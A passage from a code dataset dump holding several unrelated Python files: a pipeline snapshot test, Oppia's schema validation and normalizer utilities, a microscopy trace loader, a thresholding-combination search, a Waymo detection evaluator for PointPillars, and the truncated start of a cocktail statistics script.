soft_fail=[2, 3],\n ),\n ]\n )\n << test_results,\n Wait(continue_on_failure=True),\n Input(\n label=\"Get trigger input\",\n prompt=\"Enter the password:\",\n fields=[\n TextField(\n \"password\", \"Password\", hint=\"The shared team password\"\n ),\n SelectField(\n \"build_type\",\n \"Build Type\",\n options=[\n Option(\"CI\", \"ci\"),\n Option(\"Local\", \"local\"),\n ],\n hint=\"The shared team password\",\n required=False,\n multiple=True,\n default=\"local\",\n ),\n ],\n blocked_state=\"running\",\n ),\n Trigger(\n pipeline=\"my-pipe\",\n build=BuildAttributes(\n message=\"Automatic Build\",\n commit=\"HEAD\",\n branch=\"develop\",\n env={\"FOO\": 1},\n meta_data={\"FOO\": 1},\n ),\n label=\"Run My Pipe\",\n asynchronous=True,\n ),\n Wait(),\n Block(\n \"Deployment Gate\",\n \"Enter 'deploy'\",\n [TextField(key=\"confirmation\", name=\"Confirmation\", default=\"yes\")],\n ),\n CommonCommand(\n \"Deploy\",\n \"scripts/deploy.sh\",\n concurrency=1,\n concurrency_group=\"deployment\",\n automatic_retries=2,\n manual_retry=ManualRetry(\n allowed=True, permit_on_passed=True, reason=\"Re-deploy\"\n ),\n artifact_paths=\"build-artifacts/**;artifacts/**\",\n ),\n Command(\n \"Skipped command\", \"skipped.sh\", skip_reason=\"Needs to be fixed\"\n ),\n # These should be stripped from final output:\n Wait(),\n Wait(),\n ]\n ).filtered(NoopFilter()),\n )\n","repo_name":"pytown/kitefly","sub_path":"tests/test_snapshots.py","file_name":"test_snapshots.py","file_ext":"py","file_size_in_byte":6636,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"13307406425","text":"__author__ = 'sll@google.com (Sean Lip)'\n\nimport logging\nimport numbers\nimport urllib\nimport urlparse\n\nfrom core.domain import html_cleaner\n\n\nSCHEMA_KEY_ITEMS = 'items'\nSCHEMA_KEY_LENGTH = 'length'\nSCHEMA_KEY_PROPERTIES = 'properties'\nSCHEMA_KEY_TYPE = 'type'\nSCHEMA_KEY_POST_NORMALIZERS = 'post_normalizers'\n\nSCHEMA_TYPE_BOOL = 'bool'\nSCHEMA_TYPE_DICT = 'dict'\nSCHEMA_TYPE_FLOAT = 'float'\nSCHEMA_TYPE_HTML = 'html'\nSCHEMA_TYPE_INT = 'int'\nSCHEMA_TYPE_LIST = 'list'\nSCHEMA_TYPE_UNICODE = 'unicode'\nALLOWED_SCHEMA_TYPES = [\n SCHEMA_TYPE_BOOL, SCHEMA_TYPE_DICT, SCHEMA_TYPE_FLOAT, SCHEMA_TYPE_HTML,\n SCHEMA_TYPE_INT, SCHEMA_TYPE_LIST, SCHEMA_TYPE_UNICODE]\n\n\ndef _validate_dict_keys(dict_to_check, required_keys, optional_keys):\n \"\"\"Checks that all of the required keys, and possibly some of the optional\n keys, are in the given dict.\n\n Raises:\n AssertionError: if the validation fails.\n \"\"\"\n assert set(required_keys) <= set(dict_to_check.keys()), (\n 'Missing keys: %s' % dict_to_check)\n assert set(dict_to_check.keys()) <= set(required_keys + optional_keys), (\n 'Extra keys: %s' % dict_to_check)\n\n\ndef validate_schema(schema):\n \"\"\"Validates a schema.\n\n This is meant to be a utility function that should be used by tests to\n ensure that all schema definitions in the codebase are valid.\n\n Each schema is a dict with at least a key called 'type'. The 'type' can\n take one of the SCHEMA_TYPE_* values declared above. In addition, there\n may be additional keys for specific types:\n - 'list' requires an additional 'items' property, which specifies the type\n of the elements in the list. It also allows for an optional 'length'\n property which specifies the length of the list.\n - 'dict' requires an additional 'properties' property, which specifies the\n names of the keys in the dict, and schema definitions for their values.\n There may also be an optional 'post_normalizers' key whose value is a list\n of normalizers.\n\n Raises:\n AssertionError: if the schema is not valid.\n \"\"\"\n assert isinstance(schema, dict)\n assert SCHEMA_KEY_TYPE in schema\n assert schema[SCHEMA_KEY_TYPE] in ALLOWED_SCHEMA_TYPES\n if schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_LIST:\n _validate_dict_keys(\n schema,\n [SCHEMA_KEY_ITEMS, SCHEMA_KEY_TYPE],\n [SCHEMA_KEY_LENGTH, SCHEMA_KEY_POST_NORMALIZERS])\n\n validate_schema(schema[SCHEMA_KEY_ITEMS])\n if SCHEMA_KEY_LENGTH in schema:\n assert isinstance(schema[SCHEMA_KEY_LENGTH], int)\n assert schema[SCHEMA_KEY_LENGTH] > 0\n elif schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_DICT:\n _validate_dict_keys(\n schema,\n [SCHEMA_KEY_PROPERTIES, SCHEMA_KEY_TYPE],\n [SCHEMA_KEY_POST_NORMALIZERS])\n\n for prop in schema[SCHEMA_KEY_PROPERTIES]:\n assert isinstance(prop, basestring)\n validate_schema(schema[SCHEMA_KEY_PROPERTIES][prop])\n else:\n _validate_dict_keys(\n schema, [SCHEMA_KEY_TYPE], [SCHEMA_KEY_POST_NORMALIZERS])\n\n if SCHEMA_KEY_POST_NORMALIZERS in schema:\n assert isinstance(schema[SCHEMA_KEY_POST_NORMALIZERS], list)\n for post_normalizer in schema[SCHEMA_KEY_POST_NORMALIZERS]:\n assert isinstance(post_normalizer, dict)\n assert 'id' in post_normalizer\n # Check that the id corresponds to a valid normalizer function.\n Normalizers.get(post_normalizer['id'])\n # TODO(sll): Check the arguments too.\n\n\ndef normalize_against_schema(obj, schema):\n \"\"\"Validate the given object using the schema, normalizing if necessary.\n\n Returns:\n the normalized object.\n\n Raises:\n AssertionError: if the object fails to validate against the schema.\n \"\"\"\n normalized_obj = None\n\n if schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_BOOL:\n assert isinstance(obj, bool), ('Expected bool, received %s' % obj)\n normalized_obj = obj\n elif schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_DICT:\n assert isinstance(obj, dict), ('Expected dict, received %s' % obj)\n assert set(obj.keys()) == set(schema[SCHEMA_KEY_PROPERTIES].keys())\n normalized_obj = {\n key: normalize_against_schema(\n obj[key], schema[SCHEMA_KEY_PROPERTIES][key])\n for key in schema[SCHEMA_KEY_PROPERTIES]\n }\n elif schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_FLOAT:\n obj = float(obj)\n assert isinstance(obj, numbers.Real), (\n 'Expected float, received %s' % obj)\n normalized_obj = obj\n elif schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_INT:\n obj = int(obj)\n assert isinstance(obj, numbers.Integral), (\n 'Expected int, received %s' % obj)\n assert isinstance(obj, int), ('Expected int, received %s' % obj)\n normalized_obj = obj\n elif schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_HTML:\n assert isinstance(obj, basestring), (\n 'Expected unicode HTML string, received %s' % obj)\n obj = unicode(obj)\n assert isinstance(obj, unicode), (\n 'Expected unicode, received %s' % obj)\n normalized_obj = html_cleaner.clean(obj)\n elif schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_LIST:\n assert isinstance(obj, list), ('Expected list, received %s' % obj)\n item_schema = schema[SCHEMA_KEY_ITEMS]\n if SCHEMA_KEY_LENGTH in schema:\n assert len(obj) == schema[SCHEMA_KEY_LENGTH]\n normalized_obj = [\n normalize_against_schema(item, item_schema) for item in obj\n ]\n elif schema[SCHEMA_KEY_TYPE] == SCHEMA_TYPE_UNICODE:\n assert isinstance(obj, basestring), (\n 'Expected unicode string, received %s' % obj)\n obj = unicode(obj)\n assert isinstance(obj, unicode), (\n 'Expected unicode, received %s' % obj)\n normalized_obj = obj\n else:\n raise Exception('Invalid schema type: %s' % schema[SCHEMA_KEY_TYPE])\n\n # When type normalization is finished, apply the post-normalizers in the\n # given order.\n if SCHEMA_KEY_POST_NORMALIZERS in schema:\n for normalizer in schema[SCHEMA_KEY_POST_NORMALIZERS]:\n kwargs = dict(normalizer)\n del kwargs['id']\n normalized_obj = Normalizers.get(normalizer['id'])(\n normalized_obj, **kwargs)\n\n return normalized_obj\n\n\nclass Normalizers(object):\n \"\"\"Various normalizers.\n\n A normalizer is a function that takes an object, attempts to normalize\n it to a canonical representation, and/or performs validity checks on the\n object pre- and post-normalization. If the normalization succeeds, the\n function returns the transformed object; if it fails, it raises an\n exception.\n\n Some normalizers require additional arguments. It is the responsibility of\n callers of normalizer functions to ensure that the arguments they supply to\n the normalizer are valid. What exactly this entails is provided in the\n docstring for each normalizer.\n \"\"\"\n\n @classmethod\n def get(cls, normalizer_id):\n if not hasattr(cls, normalizer_id):\n raise Exception('Invalid normalizer id: %s' % normalizer_id)\n return getattr(cls, normalizer_id)\n\n @staticmethod\n def require_nonempty(obj):\n \"\"\"Checks that the given object is nonempty.\n\n Args:\n obj: a string.\n\n Returns:\n obj, if it is nonempty.\n\n Raises:\n AssertionError: if `obj` is empty.\n \"\"\"\n assert obj != ''\n return obj\n\n @staticmethod\n def uniquify(obj):\n \"\"\"Returns a list, removing duplicates.\n\n Args:\n obj: a list.\n\n Returns:\n a list containing the elements in `obj` in sorted order and without\n duplicates.\n \"\"\"\n return sorted(list(set(obj)))\n\n @staticmethod\n def normalize_spaces(obj):\n \"\"\"Collapses multiple spaces into single spaces.\n\n Args:\n obj: a string.\n\n Returns:\n a string that is the same as `obj`, except that each block of\n whitespace is collapsed into a single space character.\n \"\"\"\n return ' '.join(obj.split())\n\n @staticmethod\n def sanitize_url(obj):\n \"\"\"Takes a string representing a URL and sanitizes it.\n\n Args:\n obj: a string representing a URL.\n\n Returns:\n An empty string if the URL does not start with http:// or https://.\n Otherwise, returns the original URL.\n \"\"\"\n url_components = urlparse.urlsplit(obj)\n quoted_url_components = (\n urllib.quote(component) for component in url_components)\n raw = urlparse.urlunsplit(quoted_url_components)\n\n acceptable = html_cleaner.filter_a('href', obj)\n assert acceptable, (\n 'Invalid URL: Sanitized URL should start with '\n '\\'http://\\' or \\'https://\\'; received %s' % raw)\n return raw\n\n @staticmethod\n def require_at_least(obj, min_value):\n \"\"\"Ensures that `obj` is at least `min_value`.\n\n Args:\n obj: an int or a float.\n min_value: an int or a float.\n\n Returns:\n obj, if it is at least `min_value`.\n\n Raises:\n AssertionError, if `obj` is less than `min_value`.\n \"\"\"\n assert obj >= min_value\n return obj\n\n @staticmethod\n def require_at_most(obj, max_value):\n \"\"\"Ensures that `obj` is at most `min_value`.\n\n Args:\n obj: an int or a float.\n max_value: an int or a float.\n\n Returns:\n obj, if it is at most `min_value`.\n\n Raises:\n AssertionError, if `obj` is greater than `min_value`.\n \"\"\"\n assert obj <= max_value\n return obj\n\n @staticmethod\n def require_is_one_of(obj, choices):\n \"\"\"Ensures that `obj` is an element of `choices`.\n\n Args:\n obj: anything.\n choices: a list of items, of the same type as `obj`.\n\n Returns:\n obj, if it is equal to an element of `choices`.\n\n Raises:\n AssertionError, if `obj` is not equal to any element of choices.\n \"\"\"\n assert obj in choices\n return obj\n","repo_name":"miyucy/oppia","sub_path":"schema_utils.py","file_name":"schema_utils.py","file_ext":"py","file_size_in_byte":10248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28926054757","text":"import os\r\nimport numpy as np\r\nfrom pathlib import Path\r\n\r\nclass Loader :\r\n \r\n def __init__(self,path):\r\n self.path = path\r\n \r\n def load_traces(self):\r\n Q1 = np.load(self.path+r'\\data.npz')\r\n\r\n fret_g = Q1['fret_g']\r\n fret_b = Q1['fret_b']\r\n rr = Q1['rr']\r\n gg = Q1['gg']\r\n gr = Q1['gr']\r\n bb = Q1['bb']\r\n bg = Q1['bg']\r\n br = Q1['br']\r\n time_g = Q1['time_g']\r\n time_b = Q1['time_b']\r\n time_r = Q1['time_r']\r\n tot_g = gg + gr\r\n tot_b = bb + bg + br\r\n N_traces = fret_g.shape[0]\r\n total_frame = fret_g.shape[1]\r\n fret_g_bkps = [[] for _ in range(N_traces)]\r\n fret_b_bkps = [[] for _ in range(N_traces)]\r\n b_bkps = [[] for _ in range(N_traces)]\r\n g_bkps = [[] for _ in range(N_traces)]\r\n r_bkps = [[] for _ in range(N_traces)]\r\n bkps = {\r\n 'fret_b' : fret_b_bkps,\r\n 'fret_g' : fret_g_bkps,\r\n 'b' : b_bkps,\r\n 'g' : g_bkps,\r\n 'r' : r_bkps,\r\n }\r\n time = {\r\n 'fret_b' : time_b,\r\n 'fret_g' : time_g,\r\n 'b' : time_b,\r\n 'g' : time_g,\r\n 'r' : time_r,\r\n }\r\n \r\n try:\r\n select_list_g = np.load(self.path + r'\\selected_g.npy', allow_pickle=True)\r\n except:\r\n select_list_g = np.zeros(N_traces)\r\n \r\n blob_path = (Path(self.path).parent.parent.absolute()) / 'blobs.npz'\r\n try:\r\n blobs = np.load(blob_path)\r\n except:\r\n blobs = None\r\n \r\n try:\r\n hmm_fret_g = np.load(self.path + r'\\HMM_traces\\hmm.npz', allow_pickle=True)['hd_states']\r\n except:\r\n hmm_fret_g = np.zeros_like(fret_g)\r\n\r\n\r\n ch_label = []\r\n if np.any(fret_b):\r\n ch_label.append('fret_b')\r\n if np.any(fret_g):\r\n ch_label.append('fret_g')\r\n if np.any(bb):\r\n ch_label.append('b')\r\n if np.any(gg):\r\n ch_label.append('g')\r\n if np.any(rr):\r\n ch_label.append('r')\r\n\r\n return fret_g, fret_b, rr, gg, gr, bb, bg, br, time, tot_g, tot_b, N_traces, total_frame, bkps, select_list_g, ch_label, blobs, hmm_fret_g\r\n ","repo_name":"bear910417/TIRF_Program","sub_path":"loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5208618132","text":"import csv\nimport operator\nfrom itertools import combinations, permutations\nimport math\nimport os\nfrom datetime import datetime\nimport json\nimport time\nfrom copy import deepcopy\n\nclass csvParser:\n \"\"\"\n This class is an abstract representation for informations offered in a .csv file.\n\n This contains functionalities for:\n - parsing the .csv file\n - saving relevant data\n \"\"\"\n tresholdings = [] # list of lists \n pixelClass = []\n plusList = [] # a list with \"+\"\n minusList = [] # a list with \"-\"\n multiplyList = [] # a list with \"*\"\n divideList = [] # a list with \"/\"\n operationMap = {\n \"+\": operator.add,\n \"-\": operator.sub,\n \"*\": operator.mul,\n \"/\": operator.truediv\n } # a dictionary with all the possible operators\n\n def __init__(self):\n for i in range(0, 3):\n self.plusList.append(\"+\")\n self.minusList.append(\"-\")\n self.multiplyList.append(\"*\")\n self.divideList.append(\"/\")\n\n def readCSV(self, inputFile):\n with open(inputFile, 'r') as csv_file:\n reader = csv.reader(csv_file, delimiter=',')\n\n for row in reader:\n self.tresholdings.append(row[2:])\n self.pixelClass.append(row[1])\n return 0\n\n\nclass Binarization:\n\n def __init__(self):\n self.parser = csvParser() # .csv file parser\n self.pixelClass = 0 # the value of the pixel class\n self.valuesTh = [] # values of all tresholds\n self.combPercentage = dict() # dict of all comb\n self.allCombinations = []\n\n def generateCombinations(self):\n operatorsList = self.parser.plusList + self.parser.minusList + self.parser.multiplyList + self.parser.divideList\n\n comb1 = list(set(list(combinations(operatorsList, 3))))\n comb2 = list(set(list(combinations(operatorsList, 3))))\n comb3 = list(set(list(combinations(operatorsList, 3))))\n\n return comb1, comb2, comb3\n\n def generateCombinationsList(self):\n allCombinations = []\n comb1, comb2, comb3 = self.generateCombinations()\n\n for e1 in comb1:\n for e2 in comb2:\n for e3 in comb3:\n order = e1 + e2 + e3\n nrPlus = order.count(\"+\")\n nrMinus = order.count(\"-\")\n nrDiv = order.count(\"/\")\n nrMul = order.count(\"*\")\n\n if (abs(nrPlus - nrMinus) == 0 and abs(nrMul - nrDiv) <= 1) or (abs(nrPlus - nrMinus) <= 1 and abs(nrMul - nrDiv) == 0):\n allCombinations.append(order)\n\n return allCombinations\n\n def findSolutionForOneFile(self, inputFile, copyAllCombinations, limit):\n self.parser.readCSV(inputFile)\n self.valuesTh = self.parser.tresholdings\n self.pixelClass = self.parser.pixelClass\n\n returnList = []\n\n for order in copyAllCombinations:\n succes = 0\n for i in range(len(self.valuesTh)):\n pixelClass = self.pixelClass[i]\n result = float(self.valuesTh[i][0])\n for j in range(1, len(self.valuesTh[i])):\n result = self.parser.operationMap[order[j - 1]](result, float(self.valuesTh[i][j]))\n\n if result >= 0 and result < 0.5:\n if int(pixelClass) == 0:\n succes += 1\n if result >= 0.5 and result <= 1:\n if int(pixelClass) == 1:\n succes += 1\n\n percent = float(succes) / len(self.valuesTh)\n\n if percent >= limit:\n returnList.append(order)\n\n if \"\".join(order) in self.combPercentage.keys():\n self.combPercentage[\"\".join(order)] = (self.combPercentage[\"\".join(order)] + percent) / 2\n else:\n self.combPercentage[\"\".join(order)] = percent\n return returnList\n\nclass LocalSolver:\n\n def __init__(self):\n self.binarization = Binarization()\n\n def localTrain(self):\n inputPath = os.getcwd() + '/tests/local/train'\n dir_list = os.listdir(inputPath)\n\n self.binarization.allCombinations = self.binarization.generateCombinationsList()\n copyAllCombinations = deepcopy(self.binarization.allCombinations)\n \n counter = 0\n for inFile in dir_list:\n inputFilePath = inputPath + '/' + str(inFile)\n returnList = self.binarization.findSolutionForOneFile(inputFilePath, copyAllCombinations, 0.8)\n copyAllCombinations = deepcopy(returnList)\n if counter == 50:\n break\n else:\n counter += 1\n\n jsonObj = json.dumps(self.binarization.combPercentage, indent=4)\n with open(\"localResults/localTrainResults.json\", \"w\") as outfile:\n outfile.write(jsonObj)\n\n self.binarization.allCombinations = deepcopy(copyAllCombinations)\n self.binarization.combPercentage.clear()\n \n def localValidation(self):\n inputPath = os.getcwd() + '/tests/local/validation'\n dir_list = os.listdir(inputPath)\n copyAllCombinations = deepcopy(self.binarization.allCombinations)\n\n counter = 0\n for inFile in dir_list:\n inputFilePath = inputPath + '/' + str(inFile)\n returnList = self.binarization.findSolutionForOneFile(inputFilePath, copyAllCombinations, 0.83)\n copyAllCombinations = deepcopy(returnList)\n if counter == 50:\n break\n else:\n counter += 1\n \n jsonObj = json.dumps(self.binarization.combPercentage, indent=4)\n with open(\"localResults/localValidationResults.json\", \"w\") as outfile:\n outfile.write(jsonObj)\n\n self.binarization.allCombinations = deepcopy(copyAllCombinations)\n self.binarization.combPercentage.clear()\n\n def localTest(self):\n inputPath = os.getcwd() + '/tests/local/test'\n dir_list = os.listdir(inputPath)\n copyAllCombinations = deepcopy(self.binarization.allCombinations)\n\n counter = 0\n for inFile in dir_list:\n inputFilePath = inputPath + '/' + str(inFile)\n returnList = self.binarization.findSolutionForOneFile(inputFilePath, copyAllCombinations, 0.85)\n copyAllCombinations = deepcopy(returnList)\n if counter == 50:\n break\n else:\n counter += 1\n \n jsonObj = json.dumps(self.binarization.combPercentage, indent=4)\n with open(\"localResults/localTestResults.json\", \"w\") as outfile:\n outfile.write(jsonObj)\n\n self.binarization.allCombinations = deepcopy(copyAllCombinations)\n","repo_name":"AdrianValentin04/Optimal-Thresholding","sub_path":"Main_implementation/localImplementation.py","file_name":"localImplementation.py","file_ext":"py","file_size_in_byte":6748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33652035139","text":"import abc\nfrom typing import Any, Mapping\n\nfrom absl import logging\nimport numpy as np\nimport tensorflow as tf, tf_keras\n\nfrom official.projects.pointpillars.configs import pointpillars as cfg\nfrom official.projects.pointpillars.utils import utils\nfrom waymo_open_dataset import label_pb2\nfrom waymo_open_dataset.metrics.python import wod_detection_evaluator\n\nnp.set_printoptions(precision=4, suppress=True)\n\n\nclass _AbstractEvaluator(\n wod_detection_evaluator.WODDetectionEvaluator, metaclass=abc.ABCMeta):\n \"\"\"WOD detection evaluation metric base class.\"\"\"\n\n def __init__(self, model_config, config=None):\n super().__init__(config=config)\n\n image_config = model_config.image\n self._resolution = image_config.resolution\n self._vehicle_xy = utils.get_vehicle_xy(image_config.height,\n image_config.width,\n image_config.x_range,\n image_config.y_range)\n self._classes = model_config.classes\n\n def _remove_padding(self, tensor_dict: Mapping[str, Any],\n num_valid: int) -> Mapping[str, Any]:\n \"\"\"Remove the paddings of the prediction/groundtruth data.\"\"\"\n result_tensor_dict = {}\n gather_indices = tf.range(num_valid)\n for k, v in tensor_dict.items():\n if v.shape[0] < num_valid:\n raise ValueError(\n '{} does not have enough elements to gather, {} < {}'.format(\n k, v.shape[0], num_valid))\n result_tensor_dict[k] = tf.gather(v, gather_indices)\n return result_tensor_dict\n\n def _compact_tensors(self,\n tensor_dict: Mapping[str, Any]) -> Mapping[str, Any]:\n \"\"\"Compact tensors by concatenating them in tuples.\"\"\"\n compact_tensor_dict = {}\n for k, v in tensor_dict.items():\n if isinstance(v, tuple):\n compact_tensor_dict[k] = tf.concat(v, axis=0)\n elif isinstance(v, dict):\n compact_tensor_dict[k] = v\n for dk, dv in v.items():\n if isinstance(dv, tuple):\n compact_tensor_dict[k][dk] = tf.concat(dv, axis=0)\n else:\n compact_tensor_dict[k] = v\n return compact_tensor_dict\n\n def _adjust_class(self, tensor_dict: Mapping[str, Any]) -> tf.Tensor:\n \"\"\"Change predicted class to what defiend by label.proto.\"\"\"\n original_type = tf.cast(tensor_dict['classes'], tf.uint8)\n if self._classes == 'all':\n adjusted_type = tf.where(\n tf.equal(original_type, 3),\n tf.ones_like(original_type) * 4,\n original_type)\n else:\n adjusted_type = tf.where(\n tf.equal(original_type, 1),\n tf.ones_like(original_type) * utils.CLASSES[self._classes],\n original_type)\n return adjusted_type\n\n @abc.abstractmethod\n def _get_box(self, box2d: tf.Tensor, attributes: Mapping[str, tf.Tensor]):\n \"\"\"Get box from yxyx and attributes.\n\n Args:\n box2d: a [N, 4] tensor encoding as (ymin, xmin, ymax, xmax)\n attributes: a {name: [N, 1]} dict\n Returns:\n box: a tensor representing a 2d or 3d box\n \"\"\"\n\n def update_state(self,\n groundtruths: Mapping[str, tf.Tensor],\n predictions: Mapping[str, tf.Tensor]):\n \"\"\"Update the metrics state with prediction and groundtruth data.\n\n Notations:\n B: batch size.\n N: number of ground truth boxes.\n M: number of predicted boxes.\n T: attribute size.\n\n Args:\n groundtruths: a dictionary of Tensors including the fields below.\n Required fields:\n - frame_id: a tensor of int64 of shape [B].\n - num_detections: a tensor of int32 of shape [B].\n - boxes: a tensor of float32 of shape [B, N, 4],\n (ymin, xmin, ymax, xmax).\n - classes: a tensor of int32 of shape [B, N].\n - attributes: a dict of tensor of float32 of shape [B, N, T].\n - difficulties: a tensor of int32 of shape [B, N].\n\n predictions: a dictionary of tensors including the fields below.\n Required fields:\n - num_detections: a tensor of int32 of shape [B].\n - boxes: a tensor of float32 of shape [B, M, 4],\n (ymin, xmin, ymax, xmax).\n - scores: a tensor of float32 of shape [B, M].\n - classes: a tensor of int32 of shape [B, M].\n - attributes: a dict of tensor of float32 of shape [B, M, T].\n \"\"\"\n # Remove tuples from dataset.\n groundtruths = self._compact_tensors(groundtruths)\n predictions = self._compact_tensors(predictions)\n\n # Adjust type.\n gt_type = self._adjust_class(groundtruths)\n pred_type = self._adjust_class(predictions)\n\n batch_size = tf.shape(groundtruths['frame_id'])[0]\n for i in tf.range(batch_size):\n # Set ground truths\n gt_num_detections = groundtruths['num_detections'][i]\n gt_attributes = {}\n for k, v in groundtruths['attributes'].items():\n gt_attributes[k] = v[i]\n frame_groundtruths = {\n 'ground_truth_frame_id':\n tf.tile([groundtruths['frame_id'][i]], [gt_num_detections]),\n 'ground_truth_bbox':\n self._get_box(groundtruths['boxes'][i], gt_attributes),\n 'ground_truth_type':\n gt_type[i],\n 'ground_truth_difficulty':\n tf.cast(groundtruths['difficulty'][i], tf.uint8),\n }\n frame_groundtruths = self._remove_padding(\n frame_groundtruths, gt_num_detections)\n\n # Set predictions\n pred_num_detections = predictions['num_detections'][i]\n pred_attributes = {}\n for k, v in predictions['attributes'].items():\n pred_attributes[k] = v[i]\n frame_predictions = {\n 'prediction_frame_id':\n tf.tile([groundtruths['frame_id'][i]], [pred_num_detections]),\n 'prediction_bbox':\n self._get_box(predictions['boxes'][i], pred_attributes),\n 'prediction_type':\n pred_type[i],\n 'prediction_score':\n predictions['scores'][i],\n 'prediction_overlap_nlz':\n tf.zeros_like(predictions['scores'][i], dtype=tf.bool)\n }\n frame_predictions = self._remove_padding(\n frame_predictions, pred_num_detections)\n\n # Update state for this frame.\n super().update_state(frame_groundtruths, frame_predictions)\n\n def evaluate(self) -> Mapping[str, Any]:\n \"\"\"Compute the final metrics.\n\n Returns:\n metric_dict: A dict of metrics, contains following breakdown keys:\n mAP/{class}_level_1\n mAP/{class}_[0, 30)_level_1\n mAP/{class}_[30, 50)_level_1\n mAP/{class}_[50, +inf)_level_1\n mAP/{class}_level_2\n mAP/{class}_[0, 30)_level_2\n mAP/{class}_[30, 50)_level_2\n mAP/{class}_[50, +inf)_level_2\n mAPH/{class}_level_1\n mAPH/{class}_[0, 30)_level_1\n mAPH/{class}_[30, 50)_level_1\n mAPH/{class}_[50, +inf)_level_1\n mAPH/{class}_level_2\n mAPH/{class}_[0, 30)_level_2\n mAPH/{class}_[30, 50)_level_2\n mAPH/{class}_[50, +inf)_level_2\n It also contains following keys used as public NAS rewards.\n AP\n APH\n \"\"\"\n ap, aph, _, _, _, _, _ = super().evaluate()\n metric_dict = {}\n for i, name in enumerate(self._breakdown_names):\n # Skip sign metrics since we don't use this type.\n if 'SIGN' in name:\n continue\n # Make metric name more readable.\n name = name.lower()\n for c in utils.CLASSES:\n pos = name.find(c)\n if pos != -1:\n name = name[pos:]\n if self._classes == 'all' or self._classes in name:\n metric_dict['mAP/{}'.format(name)] = ap[i]\n metric_dict['mAPH/{}'.format(name)] = aph[i]\n\n # Set public metrics as AP and APH.\n if self._classes == 'all':\n ap, aph = 0, 0\n for c in utils.CLASSES:\n ap += metric_dict['mAP/{}_level_1'.format(c)]\n aph += metric_dict['mAPH/{}_level_1'.format(c)]\n metric_dict['AP'] = ap / len(utils.CLASSES)\n metric_dict['APH'] = aph / len(utils.CLASSES)\n else:\n metric_dict['AP'] = metric_dict['mAP/{}_level_1'.format(self._classes)]\n metric_dict['APH'] = metric_dict['mAPH/{}_level_1'.format(self._classes)]\n return metric_dict\n\n\nclass Wod3dDetectionEvaluator(_AbstractEvaluator):\n \"\"\"WOD 3D detection evaluation metric class.\"\"\"\n\n def _get_box(self, box2d: tf.Tensor,\n attributes: Mapping[str, tf.Tensor]) -> tf.Tensor:\n \"\"\"Get box from yxyx and attributes.\n\n Args:\n box2d: a float32 [N, 4] tensor encoding as (ymin, xmin, ymax, xmax)\n attributes: a float32 {name: [N, 1]} dict\n Returns:\n box: a float32 [N, 7] tensor representing a 3d box\n \"\"\"\n box2d = utils.image_to_frame_boxes(box2d, self._vehicle_xy,\n self._resolution)\n values = []\n values.append(box2d[:, 0]) # center_x\n values.append(box2d[:, 1]) # center_y\n values.append(attributes['z'][:, 0]) # center_z\n values.append(box2d[:, 2]) # length\n values.append(box2d[:, 3]) # width\n values.append(attributes['height'][:, 0]) # height\n values.append(attributes['heading'][:, 0]) # heading\n box3d = tf.stack(values, axis=-1)\n return box3d\n\n\nclass Wod2dDetectionEvaluator(_AbstractEvaluator):\n \"\"\"WOD 2D detection evaluation metric class.\"\"\"\n\n def __init__(self, image_config: Any, config: Any = None):\n if config is None:\n config = self._get_default_config()\n config.box_type = label_pb2.Label.Box.TYPE_2D\n super().__init__(image_config, config)\n\n # use utils\n def _get_box(self, box2d: tf.Tensor,\n attributes: Mapping[str, tf.Tensor]) -> tf.Tensor:\n \"\"\"Get box from yxyx and attributes.\n\n Args:\n box2d: a float32 [N, 4] tensor encoding as (ymin, xmin, ymax, xmax)\n attributes: a float32 {name: [N, 1]} dict\n Returns:\n box: a float32 [N, 5] tensor representing a 2d box with heading\n \"\"\"\n box2d = utils.image_to_frame_boxes(box2d, self._vehicle_xy,\n self._resolution)\n values = []\n values.append(box2d[:, 0]) # center_x\n values.append(box2d[:, 1]) # center_y\n values.append(box2d[:, 2]) # length\n values.append(box2d[:, 3]) # width\n values.append(attributes['heading'][:, 0]) # heading\n box2d_h = tf.stack(values, axis=-1)\n return box2d_h\n\n\ndef create_evaluator(model_config: cfg.PointPillarsModel) -> _AbstractEvaluator:\n \"\"\"Create either 2d or 3d evaluator.\"\"\"\n attr_count = len(model_config.head.attribute_heads)\n if attr_count == 1:\n logging.info('Use 2D detection evaluator.')\n return Wod2dDetectionEvaluator(model_config)\n if attr_count == 3:\n logging.info('Use 3D detection evaluator.')\n return Wod3dDetectionEvaluator(model_config)\n raise ValueError(\n 'The length of attribute_heads should be 1 or 3, found {}'.format(\n attr_count))\n","repo_name":"tensorflow/models","sub_path":"official/projects/pointpillars/utils/wod_detection_evaluator.py","file_name":"wod_detection_evaluator.py","file_ext":"py","file_size_in_byte":10885,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"7187938875","text":"import sys\nfrom statistics import mean\nimport numpy as np\nfrom scipy import stats\nfrom scipy.stats import kstest\nimport matplotlib.pyplot as plt\n###python3 xxxx.py sorted_cocktails db_descriptions terms_to_search sample_size\n\nf_sorted_cocktails = sys.argv[1]\nf_db_descriptions = sys.argv[2]\nf_terms_to_search = sys.argv[3]\nsample_size = int(sys.argv[4])\n\nd_descriptions = {}\nwith open(f_db_descriptions, \"r\") as f:\n\tfor line in f:\n\t\t\tl_line = line.strip().split(\"\\t\")\n\t\t\td_descriptions[l_line[0]] = \" \".join([l_line[1].lower(), l_line[2].lower(), l_line[3].lower()])\n\n\t\n\ndef read_cofile (cofile):\n\tco_list = []\n\twith open(cofile, \"r\") as f:\n\t\tfor line in f:\n\t\t\tif not line.startswith(\"Cocktail\"):\n\t\t\t\tl_line = line.strip().split(\"\\t\")\n\t\t\t\tco = l_line[0]\n\t\t\t\tif co != 